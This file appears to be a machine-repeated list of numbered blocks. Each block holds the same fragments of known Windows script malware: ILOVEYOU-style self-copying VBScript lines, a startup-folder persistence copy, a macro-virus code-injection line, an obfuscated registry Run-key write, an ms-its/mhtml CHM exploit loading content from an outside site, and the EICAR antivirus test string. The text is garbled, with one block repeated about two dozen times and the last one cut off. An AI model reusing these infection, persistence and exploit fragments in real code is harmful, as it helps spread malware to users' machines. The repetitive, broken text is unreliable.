 kak.hta';ken=wd+'START
 End Sub

852

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

853

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

854

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

855

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

856

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

857

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

858

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

859

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

860

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

861

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

862

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

863

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

864

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

865

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

866

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

867

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

868

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

869

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

870

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

871

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

872

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

873

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

874

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"